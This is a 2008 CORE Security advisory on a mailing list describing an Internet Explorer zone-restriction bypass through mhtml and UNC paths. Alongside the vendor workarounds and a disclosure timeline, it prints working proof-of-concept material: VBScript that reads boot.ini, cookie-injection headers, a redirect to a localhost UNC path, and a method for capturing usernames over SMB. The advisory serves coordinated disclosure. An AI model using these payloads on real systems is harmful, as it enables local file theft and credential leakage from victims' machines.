Message-ID: <48A34B96.5010401@coresecurity.com>
Date: Wed, 13 Aug 2008 18:01:10 -0300
From: CORE Security Technologies Advisories <advisories@...esecurity.com>
To: Bugtraq <bugtraq@...urityfocus.com>, Vulnwatch <vulnwatch@...nwatch.org>,
	full-disclosure@...ts.grok.org.uk
Subject: CORE-2008-0103: Internet Explorer Zone Elevation
 Restrictions Bypass and Security Zone Restrictions Bypass

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

~      Core Security Technologies - CoreLabs Advisory
~           http://www.coresecurity.com/corelabs/

Internet Explorer Zone Elevation Restrictions Bypass and Security Zone
Restrictions Bypass


*Advisory Information*

Title: Internet Explorer Zone Elevation Restrictions Bypass and Security
Zone Restrictions Bypass
Advisory ID: CORE-2008-0103
Advisory URL:
http://www.coresecurity.com/content/internet-explorer-zone-elevation
Date published: 2008-08-13
Date of last update: 2008-08-13
Vendors contacted: Microsoft
Release mode: Coordinated release


*Vulnerability Information*

Class: Zone Elevation Restrictions Bypass and Security Zone Restrictions
Bypass
Remotely Exploitable: Yes
Locally Exploitable: No
Bugtraq ID: 30585	
CVE Name: CVE-2008-1448	


*Vulnerability Description*

Internet Explorer introduces the concept of URL Security Zones, which
basically define a set of privileges for web applications (such as, for
example, accessing and/or modifying the local computer files) depending
on their level of trustworthiness.

Issues have been found in the way that security policies are applied
when a URI is specified in the UNC form:
'\\MACHINE_NAME_OR_IP\PATH_TO_RESOURCE'

* When a remote site attempts to access a local resource, Internet
Explorer will fail to enforce the Zone Elevation restrictions.

* When browsing a remote site, Internet Explorer will not apply the
right Security Zone permissions, allowing a site belonging to a less
secure zone to be treated as one belonging to a more privileged zone.


*Vulnerable Packages*

. Internet Explorer 5 under Windows 2000/2003/XP
. Internet Explorer 6 under Windows 2000/2003/XP
. Internet Explorer 7 under Windows 2000/2003/XP
. Internet Explorer 7 under Windows Vista (when protected mode is turned
off)


*Non-vulnerable Packages*

. This vulnerability is addressed by Microsoft Security Bulletin
MS08-048 [1]


*Vendor Information, Solutions and Workarounds*

Microsoft has issued Security Bulletin MS08-048 to address this
vulnerability. The bulletin includes workarounds and mitigating factors.
For more information refer to the bulletin:
http://www.microsoft.com/technet/security/bulletin/ms08-048.mspx

Workarounds communicated by the vendor include:

* Locking down the MHTML protocol handler. Below are the required
registry changes.

/-----------

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet
Explorer\MAIN\FeatureControl\FEATURE_PROTOCOL_LOCKDOWN]
"explorer.exe"=dword:00000001
"iexplore.exe"=dword:00000001
"*"=dword:00000001

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet
Settings\RestrictedProtocols]

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet
Settings\RestrictedProtocols\1]
"mhtml"="mhtml"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet
Settings\RestrictedProtocols\2]
"mhtml"="mhtml"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet
Settings\RestrictedProtocols\3]
"mhtml"="mhtml"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet
Settings\RestrictedProtocols\4]
"mhtml"="mhtml"

- -----------/

* Disabling the MHTML protocol handler. To disable the protocol handler,
follow these steps:

1. Click Start and then click Run. Enter regedit.exe in the text box and
click OK.
2. Navigate to
HKEY_CLASSES_ROOT\CLSID\{05300401-BCBC-11d0-85E3-00C04FD85AB4}.
3. Right click {05300401-BCBC-11d0-85E3-00C04FD85AB4} and select
Permissions.
4. Click Advanced.
5. Deselect Allow inheritable permissions from the parent to propagate
6. Click Remove, and then click OK. Click Yes and OK on subsequent screens.


*Credits*

This vulnerability was discovered and researched by Jorge Luis Alvarez
Medina from Core Security Technologies.


*Technical Description / Proof of Concept Code*

Internet Explorer is the most popular Internet browser in the world as
it is an integrated component of every Windows installation. It
introduces the concept of URL Security Zones, as explained in [2], which
basically define a set of privileges for web applications (such as
accessing and modifying the local computer files) depending on their
level of trustworthiness, namely:

* Local Intranet Zone: for content located on an organization's
intranet. Because the servers and information are within an
organization's firewall, it is reasonable to assign a higher level of
trust to content on the intranet.

* Trusted Sites Zone: for content located on Web sites that are
considered more reputable or trustworthy than other sites on the
Internet. Assigning a higher level of trust to these sites minimizes the
number of related authentication requests. The user adds the URLs of
trusted Web sites to this zone.

* Internet Zone: for Web sites on the Internet that do not belong to
another zone. This default setting causes Internet Explorer to prompt
the user whenever potentially unsafe content is about to be downloaded.
Web sites that are not mapped into other zones automatically fall into
this zone.

* Restricted Sites Zone: used for Web sites that contain content that
can cause (or have previously caused) problems when downloaded. This
zone causes Internet Explorer to alert users when potentially-unsafe
content is about to be downloaded, or to prevent the content from
downloading. The user adds the URLs of these un-trusted Web sites to
this zone.

* Local Machine Zone: the Local Machine zone is an implicit zone for
content that exists on the local computer. The content found on the
user's computer (except for content that Internet Explorer caches on the
local system) is treated with a high level of trust.

THE PROBLEM

There are issues in the manner that security policies are applied when a
URI is specified in the UNC form:

\\MACHINE_NAME_OR_IP\PATH_TO_RESOURCE


* When a remote site attempts to access a local resource, Internet
Explorer will fail to enforce the Zone Elevation restrictions.

* When browsing a remote site, Internet Explorer will fail to apply the
right Security Zone permissions, allowing a site belonging to a less
secure zone to be treated as one belonging to a more privileged zone.

TECHNICAL BACKGROUND

The Proof of Concepts below exploit the aforementioned issue by taking
advantage of other features of Internet Explorer. Keep in mind that:

* Besides the common web content types (such as plain http, image, audio
and video) the browser is also able to render other standardized content
types, among them, MIME HTML or mhtml. And, overriding the way IE
chooses to render a file (described in [3]) presents a way to enforce
the rendering type as MIME HTML by using the protocol handler for mhtml
in the following manner:

mhtml:[PATH_TO_RESOURCE]


The resource content begins with the MIME HTML headers describing their
contents, as shown below.

/-----------

~  From: <wherever the contents where from>
~  Subject: <whatever>
~  Date: <whatever>
~  MIME-Version: 1.0
~  Content-Type: multipart/related;
~    type="text/html";
~    boundary="----=_NextPart_000_0000_01C8457B.CB7FBF60"
~  X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.3028

~  [FILE CONTENTS]

- -----------/

But, in fact, the only header lines required for the file being rendered
as mhtml, are:

/-----------

Content-Type: <file content type>

[FILE CONTENTS]

- -----------/

Cookies are stored in independent text files (one for each domain)
inside the cookies folder (usually located at '\Documents and
settings\USERNAME\Cookies' in all Windows NT based implementations). The
cookie file name is structured in the following manner:

/-----------

USERNAME@...l.domain.name[X]

- -----------/

where X is an integer like 1,2,3, depending on the Internet Explorer
choice.

The cookies folder is hardcoded inside the Explorer engine as a
restricted site. You can check it by looking at the status bar when
browsing this folder with Windows Explorer.

When requesting a resource, for example, in the 'src' attribute of an
HTML 'img' tag, Internet Explorer allows the usage of 'smb' URIs. So,
when IE attempts to render the following line:

/-----------

<img src="file://IP_OR_HOSTNAME/PATH_TO_RESOURCE">

- -----------/

It will attempt to establish an SMB connection against the
IP_OR_HOSTNAME machine, using the port 445. If this communication is
allowed, the username and a ciphered challenge/response will be sent to
the IP_OR_HOSTNAME specified.

Internet Explorer reacts different when a requested resource is directly
accessed or when it's found after a redirection. If a page hosted in
domain A makes a reference to a resource located at domain B, the user
will be prompted to download this file from the B domain. But if the
resource is requested, for example, in the following way:

/-----------

<img src=A/resource.pl>

- -----------/

And the resource.pl contents are something like:

/-----------

Status: 302 Found
Location: B/realResource

- -----------/

Internet Explorer will download the B/realResource file transparently.
Of course, in both cases, the security policies assigned to each domain
will be applied.

ATTACK DESCRIPTION

In order to reproduce the vulnerability, follow these steps:

Create a file called 'evilCookie.txt' in your cookies folder with the
following content:

/-----------
Content-Type: text/html

<HTML>
	<BODY>
		This text is <H1>HTML code</H1>inside your cookie
		<SCRIPT language="VBScript">
			With CreateObject("MSXML2.XMLHTTP")
			  .open "GET", "\\127.0.0.1\C$\boot.ini", False
			  .send
			  a = .ResponseText
			End With

			MsgBox a
		</SCRIPT>
	</BODY>
</HTML>
- -----------/

Point your IE to the following URI, replacing USERNAME with the
currently logged in user name.

/-----------

mhtml:\\127.0.0.1\C$\Documents%20and%20Settings\USERNAME\Cookies\evilCookie.txt

- -----------/

The contents of your boot.ini file will be displayed in a message box
(or could be programmatically sent to a remote web site).

Note that if you reference this file in a different way than using the
UNC, the privileged VB script code (which requires local machine zone
permissions to execute) won't execute. For example, accessing the file
through the following link:

/-----------

mhtml:C:\Documents%20and%20Settings\USERNAME\Cookies\evilCookie.txt

- -----------/

will result in the file being opened and rendered, but the privileged
code will not be executed. That's because the folder containing the file
evilCookie.txt belongs to the Restricted Sites Zone.

PROOF OF CONCEPT CODE

In this PoC, with nothing but a click on a link to an evil page, the
contents of the 'boot.ini' file (located at the system root in all
Windows NT based implementations) will be read using VBScript.

In order to do so, local machine zone permissions are required. So, we
need a way to put our code inside the client's machine. We will do so by
storing our code in a cookie.

Let's assume the victim user points his browser to the following URL:

/-----------

http://example.com/evilPage

- -----------/

and this page sets their cookies with the following contents:

/-----------

Set-Cookie: Content-Type: text/html=; path=/; expires=Monday,
26-Nov-2008 12:30:00 GMT
Set-Cookie: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0
Transitional//EN">=<HTML><BODY>This text is <H1>HTML code</H1>inside
your cookie <SCRIPT
language="VBScript"
src="http://example.com/evilScript.vbs"></SCRIPT></BODY></HTML><!--;
path=/; expires=Monday, 26-Nov-2008 12:30:00 GMT

- -----------/

This will result in a cookie file like:

/-----------

\Documents and settings\USERNAME\Cookies\USERNAME@...mple.com[X].txt

- -----------/

with the following contents:

/-----------

~    Content-Type: text/html

~    example.com/
~    1536
~    3499433472
~    29901218
~    484464800
~    29901200
~    *

~    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
~    <HTML><BODY>This text is <H1>HTML code</H1>inside your cookie
<SCRIPT language="VBScript"
src="http://example.com/evilScript.vbs"></SCRIPT></BODY></HTML><!_
~    1536
~    3499433472
~    29901218
~    484464800
~    29901200
~    *

- -----------/

The evilScript.vbs file is the one that will do the privileged job:

/-----------

~  With CreateObject("MSXML2.XMLHTTP")
~  .open "GET", "\\127.0.0.1\C$\boot.ini", False
~  .send
~  a = .ResponseText
~  End With

~  MsgBox a

- -----------/

With this, we now have a MIME HTML-like formatted file stored in the
client's cookies folder.

Now, by somehow guessing the victim's USERNAME, we can make a reference
to that file as follows:

/-----------

mhtml:file://Documents and
Settings/USERNAME/Cookies/USERNAME@...mple.com[X].txt

- -----------/

However, as the cookies folder belongs to the restricted sites zone, we
will not be able to take advantage of the privileged code referred
inside the cookie (that in the evilScript.vbs file).

Now if we point to the file exploiting the exposed vulnerability:

/-----------

mhtml:\\127.0.0.1\C$\Documents and
Settings\USERNAME\Cookies\USERNAME@...mple.com[X].txt

- -----------/

in spite the fact that the cookie's folder is hardcoded inside the
Restricted Security Zone, the file contents will be rendered as if they
belong to the local Intranet Security Zone, and the local boot.ini file
contents will be displayed in a message box.

Minor issues

As this file is at a different server than example, IE will prompt the
user to accept a download of the file from 127.0.0.1. In order to avoid
such prompting, we will point the file through a redirection:

/-----------

http://example.com/redirectToCookie

- -----------/

And the 'redirectToCookie' file would respond with:

/-----------

Status: 302 Found
Content-type: text/html
Location: mhtml:\\127.0.0.1\C$\Documents and
Settings\USERNAME\Cookies\USERNAME@...mple.com[X].txt

- -----------/

To get the correct username, we can take advantage of other mentioned
characteristics of Internet Explorer. As the browser is able to make SMB
requests against a webserver, if we include inside the main page (the
one which sets the cookies) some references to non-existent resources in
the example.com site, the client will attempt to establish an SMB
connection against it, from where the username (among other useful data,
such as the ciphered challenge/response) can be extracted. With this, we
can dynamically create a custom redirectToCookie file with the correct
information. Of course, the victim's machine must be able to establish
outgoing connections to the port 445 to do so.

PoC files

This proof of concept uses three files to work:

* 'PoC.pl': a PERL script which will set the cookies and shot the SMB
requests.

* 'snifSMB.pl': this script must be running in the example server. It
will be listening for SMB requests, and when they occur, it will create
a set of redirectToCookie files, attempting to cover all possibilities.

* 'PoC.htm': this page will attempt to load the cookies through the
dynamically generated redirect files.

* 'evilScript.vbs': a script file referenced by the webpage created
inside the cookie, containing the code to be executed.

These files can be downloaded from
http://www.coresecurity.com/files/attachments/CORE-2008-0103-PoC.zip
In order to make it work:

* Configure a web server supporting PERL scripts.

* Take all of these files and put them together into the web server.

* Run 'snifSMB.pl' passing your domain as parameter in a shell, for
example:

/-----------

perl snifSMB.pl example.com

- -----------/

Modify 'PoC.pl' to make it set the cookie referencing the script
'example.com/evilScript.vbs ' to your own domain/path. Also replace the
variable $cookieDomain in snifSMB.pl with the name of the domain from
where the cookie is set (for example set "evil" for evil.com).

~From another computer, point your IE to 'yoursite/PoC.pl'. After five
seconds, it will automatically redirect to 'yoursite/PoC.htm' and your
'boot.ini' file should be displayed.


*Report Timeline*

. 2008-01-09: Core Security Technologies notifies Microsoft that a
vulnerability has been found in Internet Explorer. Core sends an
advisory draft with technical details and PoC files, and announces its
initial plan to publish the content on February 11th.
. 2008-01-09: Vendor acknowledges notification.
. 2008-01-09: Vendor states that it's currently investigating the
reported issue, and asks Core what it plans to publish.
. 2008-01-10: Core responds it plans to publish the submitted advisory,
and tells the vendor that it's willing to discuss the publication date.
. 2008-01-11: Vendor states that it's investigating the issue and trying
to identify which platforms are affected. Vendor was unable to reproduce
the issue on Vista using IE7.
. 2008-01-11: Core responds that the problem was tested under XP SP2,
Windows 2000 and 2003, and that Vista seems vulnerable only if Protected
Mode under IE7 is OFF.
. 2008-01-11: Vendor reports that it is working through all the affected
platforms, and that it will forward the details of the complete list.
. 2008-01-21: Vendor announces that the investigation has been
completed. The platforms identified as affected are Internet Explorer
5.01 Service Pack 4, Internet Explorer 6 on W2k3, Internet Explorer 6 on
Windows XP Service Pack2, Internet Explorer 7 on Windows XP service Pack
2. The issue is scheduled to be addressed in the April 08 Internet
Explorer Security bulletin. Vendor asks Core to delay the publication of
the advisory until a fix is released.
. 2008-01-22: Core responds that it intends to publish the advisory as
"coordinated release" when fixed versions are made available. However
external circumstances (e.g. the bug being exploited in the wild) may
force an earlier release. Core confirms that it plans to release the
Proof of Concept code sent to Microsoft with the advisory draft.
. 2008-02-29: Core asks for updated information concerning this issue.
. 2008-03-04: Vendor states that there are issues discovered with the
package that the Outlook Express team is investigating that could impact
the release date.
. 2008-03-04: Core awaits updated information.
. 2008-03-11: Vendor communicates that an April release is not looking
likely.
. 2008-03-13: Core informs the vendor that the Beta release of IE 8 is
also vulnerable, and asks for a clarification about the mention of the
Outlook Express team.
. 2008-03-13: Vendor responds that the group that manages Outlook
Express/Windows Mail is responsible for addressing this issue and owns
the code. Vendor states that it is not likely that the issue will be
addressed in April, and that the next ship date would be June.
. 2008-04-01: Core requests detailed information about the nature of the
fix, and why it is taking so long. In particular, Core inquires about
the root cause of the problem; any potential workarounds/mitigation
mechanisms; whether there is a way to exploit this problem with
Protected Mode turned ON on Vista; and why May is not a possible ship date.
. 2008-04-01: Vendor responds that the issue is planned to be addressed
in a June security update; that locking down the mhtml protocol and
disabling the handler is a possible workaround; that the involved
product team performs in-depth testing every two months and that given
the impact of security issues they prefer to take an in-depth approach
(this is why it is not possible to release the fix in May).
. 2008-05-21: Vendor informs Core that the issue will be addressed in a
June Outlook Express bulletin.
. 2008-05-21: Core requests a clarification about the technical
rationale for releasing the information as an Outlook Express bulletin
and the corresponding patches associated to Outlook Express rather than
Internet Explorer.
. 2008-05-21: Vendor responds that the code where the root cause was
found is owned and shipped by the Outlook Express/Windows Mail team; and
that Internet Explorer is just the attack vector.
. 2008-05-21: Core requests further technical clarification, since
categorizing this issue as an "Outlook Express" problem may be
misleading. Core requests a technical assessment of the concept that
Internet Explorer is just an attack vector in this case.
. 2008-06-02: Vendor informs that the necessary packages for Windows
2000 were not built; and that this delay will push the release plan back
to July.
. 2008-06-02: Core again requests technical information about the nature
and root cause of the bug. Given that Microsoft has decided not to
release the readily available patches for Windows XP, 2003 and Vista,
Core decides to re-schedule the publication of its security advisory
CORE-2008-0103 to June 11th, 2008.
. 2008-06-02: Vendor responds that the issue is in mhtml which is a
component of Outlook/Windows mail; that Internet Explorer is a vector
and not where the issue lies; that Microsoft only releases a fix when
all platforms have been addressed, since the current fix is missing for
Windows 2000, releasing it would put out customers on that platform at risk.
. 2008-06-02: Core replies that the vendor's response is still missing a
technical description and sound analysis of the problem. In particular,
mhtml is one component used in the reported attack scenario, but the
fact that scripting code can be inserted in a cookie file and the fact
that a redirect to an UNC path pointing at the localhost filesystem
makes IE transition to the Local Security Zone may or may not be a
security weakness and may or may not be related to mhtml. Core also
states that by delaying publication of the currently available patches
to users that could fix the problem immediately, the vendor is
penalizing them and maintaining them at risk unnecessarily.
. 2008-06-03: Vendor requests details of the claim that the issue can be
reproduced without OE/Mail being installed. Vendor proposes to arrange a
conference call to discuss the technical issue.
. 2008-06-03: Core responds that in fact the issue can be reproduced
after OE has been un-installed; that Core prefers to continue the
discussion by email, to keep the advisories on the loop and to properly
document communications with the vendor. Core requests a response to the
proposal that Microsoft releases the patches that are ready in the June
update and the remaining ones for Windows 2000 in July.
. 2008-06-04: Vendor states that the product team has verified the mhtml
protocol (inetcomm.dll) as the root cause, and has verified this by
deleting inetcomm.dll, which has resulted in being unable to reproduce
the issue. Due to the mhtml protocol being owned by Outlook/Windows
Mail, they are responsible for the fix. Vendor states that it will not
release the current patches and expose their Windows 2000 customers,
unless it sees active exploitation of this issue.
. 2008-06-05: Core responds that a better strategy to protect customers
is to release the official patches that are readily available and to
provide specific guidance and workarounds for use on vulnerable systems
for which there are no official patches ready; and that disabling the
mhtml protocol handler seems to be the most effective workaround.
. 2008-07-08: Vendor requests a PGP key to send a fix to be tested by Core.
. 2008-07-08: Core provides the key. Core states that Microsoft did not
release patches for any of platforms vulnerable to this problem,
although the July patch release date has already passed (which was the
previously planned date for publication indicated by MSRC on their email
from June 2nd). Given the criticality of the bug, the multiple
disconnections in the communications and Microsoft's repeated failure to
meet its own patch release dates, Core is considering to proceed with
the publication of the advisory under "user release" mode.
. 2008-07-08: Vendor communicates that the development team had recently
completed developing the fix; that although July was originally
indicated as a possible release window, the development team concluded
that extra testing would be necessary, preventing a July release; vendor
reports that if further issues are identified during the test process,
that may impact the tentative August release date.
. 2008-07-08: Core discusses the fact that passing from the Restricted
Sites zone or Internet zone to Intranet Zone or LMZ using a UNC path
should not be allowed if the same behavior is not allowed for the
non-UNC equivalent URI.
. 2008-08-08: Core requests updated information about the release date
of fixes, in particular if fixes will be issued in the August security
update.
. 2008-08-12: Microsoft Security Bulletin MS08-048 is released.
. 2008-08-13: Advisory CORE-2008-0103 is published.


*References*

[1] Microsoft Security Bulletin MS08-048
http://www.microsoft.com/technet/security/bulletin/ms08-048.mspx
[2] http://msdn2.microsoft.com/en-us/library/ms537183.aspx
[3] http://msdn2.microsoft.com/en-us/library/ms775147.aspx


*About CoreLabs*

CoreLabs, the research center of Core Security Technologies, is charged
with anticipating the future needs and requirements for information
security technologies. We conduct our research in several important
areas of computer security including system vulnerabilities, cyber
attack planning and simulation, source code auditing, and cryptography.
Our results include problem formalization, identification of
vulnerabilities, novel solutions and prototypes for new technologies.
CoreLabs regularly publishes security advisories, technical papers,
project information and shared software tools for public use at:
http://www.coresecurity.com/corelabs/.


*About Core Security Technologies*

Core Security Technologies develops strategic solutions that help
security-conscious organizations worldwide develop and maintain a
proactive process for securing their networks. The company's flagship
product, CORE IMPACT, is the most comprehensive product for performing
enterprise security assurance testing. CORE IMPACT evaluates network,
endpoint and end-user vulnerabilities and identifies what resources are
exposed. It enables organizations to determine if current security
investments are detecting and preventing attacks. Core Security
Technologies augments its leading technology solution with world-class
security consulting services, including penetration testing and software
security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core
Security Technologies can be reached at 617-399-6980 or on the Web at
http://www.coresecurity.com.


*Disclaimer*

The contents of this advisory are copyright (c) 2008 Core Security
Technologies and (c) 2008 CoreLabs, and may be distributed freely
provided that no fee is charged for this distribution and proper credit
is given.


*GPG/PGP Keys*

This advisory has been signed with the GPG key of Core Security
Technologies advisories team, which is available for download at
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.8 (MingW32)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iEYEARECAAYFAkijS5YACgkQyNibggitWa2QWQCfRF+fiW+V+J+aeCNHlLxctOGp
S04AoKz5UU+RxTL+92J084/mw/ovWCD+
=5p6r
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Powered by blists - more mailing lists